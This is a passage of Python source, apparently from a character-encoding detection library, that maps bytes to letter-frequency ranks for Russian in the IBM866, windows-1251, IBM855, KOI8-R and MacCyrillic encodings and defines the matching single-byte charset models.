'\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 142, # 'A' + 66: 143, # 'B' + 67: 144, # 'C' + 68: 145, # 'D' + 69: 146, # 'E' + 70: 147, # 'F' + 71: 148, # 'G' + 72: 149, # 'H' + 73: 150, # 'I' + 74: 151, # 'J' + 75: 152, # 'K' + 76: 74, # 'L' + 77: 153, # 'M' + 78: 75, # 'N' + 79: 154, # 'O' + 80: 155, # 'P' + 81: 156, # 'Q' + 82: 157, # 'R' + 83: 158, # 'S' + 84: 159, # 'T' + 85: 160, # 'U' + 86: 161, # 'V' + 87: 162, # 'W' + 88: 163, # 'X' + 89: 164, # 'Y' + 90: 165, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 71, # 'a' + 98: 172, # 'b' + 99: 66, # 'c' + 100: 173, # 'd' + 101: 65, # 'e' + 102: 174, # 'f' + 103: 76, # 'g' + 104: 175, # 'h' + 105: 64, # 'i' + 106: 176, # 'j' + 107: 177, # 'k' + 108: 77, # 'l' + 109: 72, # 'm' + 110: 178, # 'n' + 111: 69, # 'o' + 112: 67, # 'p' + 113: 179, # 'q' + 114: 78, # 'r' + 115: 73, # 's' + 116: 180, # 't' + 117: 181, # 'u' + 118: 79, # 'v' + 119: 182, # 'w' + 120: 183, # 'x' + 121: 184, # 'y' + 122: 185, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 37, # 'А' + 129: 44, # 'Б' + 130: 33, # 'В' + 131: 46, # 'Г' + 132: 41, # 'Д' + 133: 48, # 'Е' + 134: 56, # 'Ж' + 135: 51, # 'З' + 136: 42, # 'И' + 137: 60, # 'Й' + 138: 36, # 'К' + 139: 49, # 'Л' + 140: 38, # 'М' + 141: 31, # 'Н' + 142: 34, # 'О' + 143: 35, # 'П' + 144: 45, # 'Р' + 145: 32, # 'С' + 146: 40, # 'Т' + 147: 52, # 'У' + 148: 53, # 'Ф' + 149: 55, # 'Х' + 150: 58, # 'Ц' + 151: 50, # 'Ч' + 152: 57, # 'Ш' + 153: 63, # 'Щ' + 154: 70, # 'Ъ' + 155: 62, # 'Ы' + 156: 61, # 'Ь' + 157: 47, # 'Э' + 158: 59, # 'Ю' + 159: 43, # 'Я' + 160: 3, # 'а' + 161: 21, # 'б' + 162: 10, # 'в' + 163: 19, # 'г' + 164: 13, # 'д' + 165: 2, # 'е' + 166: 24, # 'ж' + 167: 20, # 'з' + 168: 4, # 'и' + 169: 23, # 'й' + 170: 11, # 'к' + 171: 8, # 'л' + 172: 12, # 'м' + 173: 5, # 'н' + 174: 1, # 'о' + 175: 15, # 'п' + 176: 191, # '░' + 177: 192, # '▒' + 178: 193, # '▓' + 179: 194, # '│' + 180: 195, # '┤' + 181: 196, # '╡' + 182: 197, # '╢' + 183: 198, # '╖' + 184: 199, # '╕' + 185: 200, # '╣' + 186: 201, # '║' + 187: 202, # '╗' + 188: 203, # '╝' + 189: 204, # '╜' + 190: 205, # '╛' + 191: 206, # '┐' + 192: 207, # '└' + 193: 208, # '┴' + 194: 209, # '┬' + 195: 210, # '├' + 196: 211, # '─' + 197: 212, # '┼' + 198: 213, # '╞' + 199: 214, # '╟' + 200: 215, # '╚' + 201: 216, # '╔' + 202: 217, # '╩' + 203: 218, # '╦' + 204: 219, # '╠' + 205: 220, # '═' + 206: 221, # '╬' + 207: 222, # '╧' + 208: 223, # '╨' + 209: 224, # '╤' + 210: 225, # '╥' + 211: 226, # '╙' + 212: 227, # '╘' + 213: 228, # '╒' + 214: 229, # '╓' + 215: 230, # '╫' + 216: 231, # '╪' + 217: 232, # '┘' + 218: 233, # '┌' + 219: 234, # '█' + 220: 235, # '▄' + 221: 236, # '▌' + 222: 237, # '▐' + 223: 238, # '▀' + 224: 9, # 'р' + 225: 7, # 'с' + 226: 6, # 'т' + 227: 14, # 'у' + 228: 39, # 'ф' + 229: 26, # 'х' + 230: 28, # 'ц' + 231: 22, # 'ч' + 232: 25, # 'ш' + 233: 29, # 'щ' + 234: 54, # 'ъ' + 235: 18, # 'ы' + 236: 17, # 'ь' + 237: 30, # 'э' + 238: 27, # 'ю' + 239: 16, # 'я' + 240: 239, # 'Ё' + 241: 68, # 'ё' + 242: 240, # 'Є' + 243: 241, # 'є' + 244: 242, # 'Ї' + 245: 243, # 'ї' + 246: 244, # 'Ў' + 247: 245, # 'ў' + 248: 246, # '°' + 249: 247, # '∙' + 250: 248, # '·' + 251: 249, # '√' + 252: 250, # '№' + 253: 251, # '¤' + 254: 252, # '■' + 255: 255, # '\xa0' +} + +IBM866_RUSSIAN_MODEL = SingleByteCharSetModel(charset_name='IBM866', + language='Russian', + char_to_order_map=IBM866_RUSSIAN_CHAR_TO_ORDER, + language_model=RUSSIAN_LANG_MODEL, + typical_positive_ratio=0.976601, + keep_ascii_letters=False, + alphabet='ЁАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюяё') + +WINDOWS_1251_RUSSIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 142, # 'A' + 66: 143, # 'B' + 67: 144, # 'C' + 68: 145, # 'D' + 69: 146, # 'E' + 70: 147, # 'F' + 71: 148, # 'G' + 72: 149, # 'H' + 73: 150, # 'I' + 74: 151, # 'J' + 75: 152, # 'K' + 76: 74, # 'L' + 77: 153, # 'M' + 78: 75, # 'N' + 79: 154, # 'O' + 80: 155, # 'P' + 81: 156, # 'Q' + 82: 157, # 'R' + 83: 158, # 'S' + 84: 159, # 'T' + 85: 160, # 'U' + 86: 161, # 'V' + 87: 162, # 'W' + 88: 163, # 'X' + 89: 164, # 'Y' + 90: 165, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 71, # 'a' + 98: 172, # 'b' + 99: 66, # 'c' + 100: 173, # 'd' + 101: 65, # 'e' + 102: 174, # 'f' + 103: 76, # 'g' + 104: 175, # 'h' + 105: 64, # 'i' + 106: 176, # 'j' + 107: 177, # 'k' + 108: 77, # 'l' + 109: 72, # 'm' + 110: 178, # 'n' + 111: 69, # 'o' + 112: 67, # 'p' + 113: 179, # 'q' + 114: 78, # 'r' + 115: 73, # 's' + 116: 180, # 't' + 117: 181, # 'u' + 118: 79, # 'v' + 119: 182, # 'w' + 120: 183, # 'x' + 121: 184, # 'y' + 122: 185, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 191, # 'Ђ' + 129: 192, # 'Ѓ' + 130: 193, # '‚' + 131: 194, # 'ѓ' + 132: 195, # '„' + 133: 196, # '…' + 134: 197, # '†' + 135: 198, # '‡' + 136: 199, # '€' + 137: 200, # '‰' + 138: 201, # 'Љ' + 139: 202, # '‹' + 140: 203, # 'Њ' + 141: 204, # 'Ќ' + 142: 205, # 'Ћ' + 143: 206, # 'Џ' + 144: 207, # 'ђ' + 145: 208, # '‘' + 146: 209, # '’' + 147: 210, # '“' + 148: 211, # '”' + 149: 212, # '•' + 150: 213, # '–' + 151: 214, # '—' + 152: 215, # None + 153: 216, # '™' + 154: 217, # 'љ' + 155: 218, # '›' + 156: 219, # 'њ' + 157: 220, # 'ќ' + 158: 221, # 'ћ' + 159: 222, # 'џ' + 160: 223, # '\xa0' + 161: 224, # 'Ў' + 162: 225, # 'ў' + 163: 226, # 'Ј' + 164: 227, # '¤' + 165: 228, # 'Ґ' + 166: 229, # '¦' + 167: 230, # '§' + 168: 231, # 'Ё' + 169: 232, # '©' + 170: 233, # 'Є' + 171: 234, # '«' + 172: 235, # '¬' + 173: 236, # '\xad' + 174: 237, # '®' + 175: 238, # 'Ї' + 176: 239, # '°' + 177: 240, # '±' + 178: 241, # 'І' + 179: 242, # 'і' + 180: 243, # 'ґ' + 181: 244, # 'µ' + 182: 245, # '¶' + 183: 246, # '·' + 184: 68, # 'ё' + 185: 247, # '№' + 186: 248, # 'є' + 187: 249, # '»' + 188: 250, # 'ј' + 189: 251, # 'Ѕ' + 190: 252, # 'ѕ' + 191: 253, # 'ї' + 192: 37, # 'А' + 193: 44, # 'Б' + 194: 33, # 'В' + 195: 46, # 'Г' + 196: 41, # 'Д' + 197: 48, # 'Е' + 198: 56, # 'Ж' + 199: 51, # 'З' + 200: 42, # 'И' + 201: 60, # 'Й' + 202: 36, # 'К' + 203: 49, # 'Л' + 204: 38, # 'М' + 205: 31, # 'Н' + 206: 34, # 'О' + 207: 35, # 'П' + 208: 45, # 'Р' + 209: 32, # 'С' + 210: 40, # 'Т' + 211: 52, # 'У' + 212: 53, # 'Ф' + 213: 55, # 'Х' + 214: 58, # 'Ц' + 215: 50, # 'Ч' + 216: 57, # 'Ш' + 217: 63, # 'Щ' + 218: 70, # 'Ъ' + 219: 62, # 'Ы' + 220: 61, # 'Ь' + 221: 47, # 'Э' + 222: 59, # 'Ю' + 223: 43, # 'Я' + 224: 3, # 'а' + 225: 21, # 'б' + 226: 10, # 'в' + 227: 19, # 'г' + 228: 13, # 'д' + 229: 2, # 'е' + 230: 24, # 'ж' + 231: 20, # 'з' + 232: 4, # 'и' + 233: 23, # 'й' + 234: 11, # 'к' + 235: 8, # 'л' + 236: 12, # 'м' + 237: 5, # 'н' + 238: 1, # 'о' + 239: 15, # 'п' + 240: 9, # 'р' + 241: 7, # 'с' + 242: 6, # 'т' + 243: 14, # 'у' + 244: 39, # 'ф' + 245: 26, # 'х' + 246: 28, # 'ц' + 247: 22, # 'ч' + 248: 25, # 'ш' + 249: 29, # 'щ' + 250: 54, # 'ъ' + 251: 18, # 'ы' + 252: 17, # 'ь' + 253: 30, # 'э' + 254: 27, # 'ю' + 255: 16, # 'я' +} + +WINDOWS_1251_RUSSIAN_MODEL = SingleByteCharSetModel(charset_name='windows-1251', + language='Russian', + char_to_order_map=WINDOWS_1251_RUSSIAN_CHAR_TO_ORDER, + language_model=RUSSIAN_LANG_MODEL, + typical_positive_ratio=0.976601, + keep_ascii_letters=False, + alphabet='ЁАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюяё') + +IBM855_RUSSIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 142, # 'A' + 66: 143, # 'B' + 67: 144, # 'C' + 68: 145, # 'D' + 69: 146, # 'E' + 70: 147, # 'F' + 71: 148, # 'G' + 72: 149, # 'H' + 73: 150, # 'I' + 74: 151, # 'J' + 75: 152, # 'K' + 76: 74, # 'L' + 77: 153, # 'M' + 78: 75, # 'N' + 79: 154, # 'O' + 80: 155, # 'P' + 81: 156, # 'Q' + 82: 157, # 'R' + 83: 158, # 'S' + 84: 159, # 'T' + 85: 160, # 'U' + 86: 161, # 'V' + 87: 162, # 'W' + 88: 163, # 'X' + 89: 164, # 'Y' + 90: 165, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 71, # 'a' + 98: 172, # 'b' + 99: 66, # 'c' + 100: 173, # 'd' + 101: 65, # 'e' + 102: 174, # 'f' + 103: 76, # 'g' + 104: 175, # 'h' + 105: 64, # 'i' + 106: 176, # 'j' + 107: 177, # 'k' + 108: 77, # 'l' + 109: 72, # 'm' + 110: 178, # 'n' + 111: 69, # 'o' + 112: 67, # 'p' + 113: 179, # 'q' + 114: 78, # 'r' + 115: 73, # 's' + 116: 180, # 't' + 117: 181, # 'u' + 118: 79, # 'v' + 119: 182, # 'w' + 120: 183, # 'x' + 121: 184, # 'y' + 122: 185, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 191, # 'ђ' + 129: 192, # 'Ђ' + 130: 193, # 'ѓ' + 131: 194, # 'Ѓ' + 132: 68, # 'ё' + 133: 195, # 'Ё' + 134: 196, # 'є' + 135: 197, # 'Є' + 136: 198, # 'ѕ' + 137: 199, # 'Ѕ' + 138: 200, # 'і' + 139: 201, # 'І' + 140: 202, # 'ї' + 141: 203, # 'Ї' + 142: 204, # 'ј' + 143: 205, # 'Ј' + 144: 206, # 'љ' + 145: 207, # 'Љ' + 146: 208, # 'њ' + 147: 209, # 'Њ' + 148: 210, # 'ћ' + 149: 211, # 'Ћ' + 150: 212, # 'ќ' + 151: 213, # 'Ќ' + 152: 214, # 'ў' + 153: 215, # 'Ў' + 154: 216, # 'џ' + 155: 217, # 'Џ' + 156: 27, # 'ю' + 157: 59, # 'Ю' + 158: 54, # 'ъ' + 159: 70, # 'Ъ' + 160: 3, # 'а' + 161: 37, # 'А' + 162: 21, # 'б' + 163: 44, # 'Б' + 164: 28, # 'ц' + 165: 58, # 'Ц' + 166: 13, # 'д' + 167: 41, # 'Д' + 168: 2, # 'е' + 169: 48, # 'Е' + 170: 39, # 'ф' + 171: 53, # 'Ф' + 172: 19, # 'г' + 173: 46, # 'Г' + 174: 218, # '«' + 175: 219, # '»' + 176: 220, # '░' + 177: 221, # '▒' + 178: 222, # '▓' + 179: 223, # '│' + 180: 224, # '┤' + 181: 26, # 'х' + 182: 55, # 'Х' + 183: 4, # 'и' + 184: 42, # 'И' + 185: 225, # '╣' + 186: 226, # '║' + 187: 227, # '╗' + 188: 228, # '╝' + 189: 23, # 'й' + 190: 60, # 'Й' + 191: 229, # '┐' + 192: 230, # '└' + 193: 231, # '┴' + 194: 232, # '┬' + 195: 233, # '├' + 196: 234, # '─' + 197: 235, # '┼' + 198: 11, # 'к' + 199: 36, # 'К' + 200: 236, # '╚' + 201: 237, # '╔' + 202: 238, # '╩' + 203: 239, # '╦' + 204: 240, # '╠' + 205: 241, # '═' + 206: 242, # '╬' + 207: 243, # '¤' + 208: 8, # 'л' + 209: 49, # 'Л' + 210: 12, # 'м' + 211: 38, # 'М' + 212: 5, # 'н' + 213: 31, # 'Н' + 214: 1, # 'о' + 215: 34, # 'О' + 216: 15, # 'п' + 217: 244, # '┘' + 218: 245, # '┌' + 219: 246, # '█' + 220: 247, # '▄' + 221: 35, # 'П' + 222: 16, # 'я' + 223: 248, # '▀' + 224: 43, # 'Я' + 225: 9, # 'р' + 226: 45, # 'Р' + 227: 7, # 'с' + 228: 32, # 'С' + 229: 6, # 'т' + 230: 40, # 'Т' + 231: 14, # 'у' + 232: 52, # 'У' + 233: 24, # 'ж' + 234: 56, # 'Ж' + 235: 10, # 'в' + 236: 33, # 'В' + 237: 17, # 'ь' + 238: 61, # 'Ь' + 239: 249, # '№' + 240: 250, # '\xad' + 241: 18, # 'ы' + 242: 62, # 'Ы' + 243: 20, # 'з' + 244: 51, # 'З' + 245: 25, # 'ш' + 246: 57, # 'Ш' + 247: 30, # 'э' + 248: 47, # 'Э' + 249: 29, # 'щ' + 250: 63, # 'Щ' + 251: 22, # 'ч' + 252: 50, # 'Ч' + 253: 251, # '§' + 254: 252, # '■' + 255: 255, # '\xa0' +} + +IBM855_RUSSIAN_MODEL = SingleByteCharSetModel(charset_name='IBM855', + language='Russian', + char_to_order_map=IBM855_RUSSIAN_CHAR_TO_ORDER, + language_model=RUSSIAN_LANG_MODEL, + typical_positive_ratio=0.976601, + keep_ascii_letters=False, + alphabet='ЁАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюяё') + +KOI8_R_RUSSIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 142, # 'A' + 66: 143, # 'B' + 67: 144, # 'C' + 68: 145, # 'D' + 69: 146, # 'E' + 70: 147, # 'F' + 71: 148, # 'G' + 72: 149, # 'H' + 73: 150, # 'I' + 74: 151, # 'J' + 75: 152, # 'K' + 76: 74, # 'L' + 77: 153, # 'M' + 78: 75, # 'N' + 79: 154, # 'O' + 80: 155, # 'P' + 81: 156, # 'Q' + 82: 157, # 'R' + 83: 158, # 'S' + 84: 159, # 'T' + 85: 160, # 'U' + 86: 161, # 'V' + 87: 162, # 'W' + 88: 163, # 'X' + 89: 164, # 'Y' + 90: 165, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 71, # 'a' + 98: 172, # 'b' + 99: 66, # 'c' + 100: 173, # 'd' + 101: 65, # 'e' + 102: 174, # 'f' + 103: 76, # 'g' + 104: 175, # 'h' + 105: 64, # 'i' + 106: 176, # 'j' + 107: 177, # 'k' + 108: 77, # 'l' + 109: 72, # 'm' + 110: 178, # 'n' + 111: 69, # 'o' + 112: 67, # 'p' + 113: 179, # 'q' + 114: 78, # 'r' + 115: 73, # 's' + 116: 180, # 't' + 117: 181, # 'u' + 118: 79, # 'v' + 119: 182, # 'w' + 120: 183, # 'x' + 121: 184, # 'y' + 122: 185, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 191, # '─' + 129: 192, # '│' + 130: 193, # '┌' + 131: 194, # '┐' + 132: 195, # '└' + 133: 196, # '┘' + 134: 197, # '├' + 135: 198, # '┤' + 136: 199, # '┬' + 137: 200, # '┴' + 138: 201, # '┼' + 139: 202, # '▀' + 140: 203, # '▄' + 141: 204, # '█' + 142: 205, # '▌' + 143: 206, # '▐' + 144: 207, # '░' + 145: 208, # '▒' + 146: 209, # '▓' + 147: 210, # '⌠' + 148: 211, # '■' + 149: 212, # '∙' + 150: 213, # '√' + 151: 214, # '≈' + 152: 215, # '≤' + 153: 216, # '≥' + 154: 217, # '\xa0' + 155: 218, # '⌡' + 156: 219, # '°' + 157: 220, # '²' + 158: 221, # '·' + 159: 222, # '÷' + 160: 223, # '═' + 161: 224, # '║' + 162: 225, # '╒' + 163: 68, # 'ё' + 164: 226, # '╓' + 165: 227, # '╔' + 166: 228, # '╕' + 167: 229, # '╖' + 168: 230, # '╗' + 169: 231, # '╘' + 170: 232, # '╙' + 171: 233, # '╚' + 172: 234, # '╛' + 173: 235, # '╜' + 174: 236, # '╝' + 175: 237, # '╞' + 176: 238, # '╟' + 177: 239, # '╠' + 178: 240, # '╡' + 179: 241, # 'Ё' + 180: 242, # '╢' + 181: 243, # '╣' + 182: 244, # '╤' + 183: 245, # '╥' + 184: 246, # '╦' + 185: 247, # '╧' + 186: 248, # '╨' + 187: 249, # '╩' + 188: 250, # '╪' + 189: 251, # '╫' + 190: 252, # '╬' + 191: 253, # '©' + 192: 27, # 'ю' + 193: 3, # 'а' + 194: 21, # 'б' + 195: 28, # 'ц' + 196: 13, # 'д' + 197: 2, # 'е' + 198: 39, # 'ф' + 199: 19, # 'г' + 200: 26, # 'х' + 201: 4, # 'и' + 202: 23, # 'й' + 203: 11, # 'к' + 204: 8, # 'л' + 205: 12, # 'м' + 206: 5, # 'н' + 207: 1, # 'о' + 208: 15, # 'п' + 209: 16, # 'я' + 210: 9, # 'р' + 211: 7, # 'с' + 212: 6, # 'т' + 213: 14, # 'у' + 214: 24, # 'ж' + 215: 10, # 'в' + 216: 17, # 'ь' + 217: 18, # 'ы' + 218: 20, # 'з' + 219: 25, # 'ш' + 220: 30, # 'э' + 221: 29, # 'щ' + 222: 22, # 'ч' + 223: 54, # 'ъ' + 224: 59, # 'Ю' + 225: 37, # 'А' + 226: 44, # 'Б' + 227: 58, # 'Ц' + 228: 41, # 'Д' + 229: 48, # 'Е' + 230: 53, # 'Ф' + 231: 46, # 'Г' + 232: 55, # 'Х' + 233: 42, # 'И' + 234: 60, # 'Й' + 235: 36, # 'К' + 236: 49, # 'Л' + 237: 38, # 'М' + 238: 31, # 'Н' + 239: 34, # 'О' + 240: 35, # 'П' + 241: 43, # 'Я' + 242: 45, # 'Р' + 243: 32, # 'С' + 244: 40, # 'Т' + 245: 52, # 'У' + 246: 56, # 'Ж' + 247: 33, # 'В' + 248: 61, # 'Ь' + 249: 62, # 'Ы' + 250: 51, # 'З' + 251: 57, # 'Ш' + 252: 47, # 'Э' + 253: 63, # 'Щ' + 254: 50, # 'Ч' + 255: 70, # 'Ъ' +} + +KOI8_R_RUSSIAN_MODEL = SingleByteCharSetModel(charset_name='KOI8-R', + language='Russian', + char_to_order_map=KOI8_R_RUSSIAN_CHAR_TO_ORDER, + language_model=RUSSIAN_LANG_MODEL, + typical_positive_ratio=0.976601, + keep_ascii_letters=False, + alphabet='ЁАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюяё') + +MACCYRILLIC_RUSSIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 142, # 'A' + 66: 143, # 'B' + 67: 144, # 'C' + 68: 145, # 'D' + 69: 146, # 'E' + 70: 147, # 'F' + 71: 148, # 'G' + 72: 149, # 'H' + 73: 150, # 'I' + 74: 151, # 'J' + 75: 152, # 'K' + 76: 74, # 'L' + 77: 153, # 'M' + 78: 75, # 'N' + 79: 154, # 'O' + 80: 155, # 'P' + 81: 156, # 'Q' + 82: 157, # 'R' + 83: 158, # 'S' + 84: 159, # 'T' + 85: 160, # 'U' + 86: 161, # 'V' + 87: 162, # 'W' + 88: 163, # 'X' + 89: 164, # 'Y' + 90: 165, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 71, # 'a' + 98: 172, # 'b' + 99: 66, # 'c' + 100: 173, # 'd' + 101: 65, # 'e' + 102: 174, # 'f' + 103: 76, # 'g' + 104: 175, # 'h' + 105: 64, # 'i' + 106: 176, # 'j' + 107: 177, # 'k' + 108: 77, # 'l' + 109: 72, # 'm' + 110: 178, # 'n' + 111: 69, # 'o' + 112: 67, # 'p' + 113: 179, # 'q' + 114: 78, # 'r' + 115: 73, # 's' + 116: 180, # 't' + 117: 181, # 'u' + 118: 79, # 'v' + 119: 182, # 'w' + 120: 183, # 'x' + 121: 184, # 'y' + 122: 185, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 37, # 'А' + 129: 44, # 'Б' + 130: 33, # 'В' + 131: 46, # 'Г' + 132: 41, # 'Д' + 133: 48, # 'Е' + 134: 56, # 'Ж' + 135: 51, # 'З' + 136: 42, # 'И' + 137: 60, # 'Й' + 138: 36, # 'К' + 139: 49, # 'Л' + 140: 38, # 'М' + 141: 31, # 'Н' + 142: 34, # 'О' + 143: 35, # 'П' + 144: 45, # 'Р' + 145: 32, 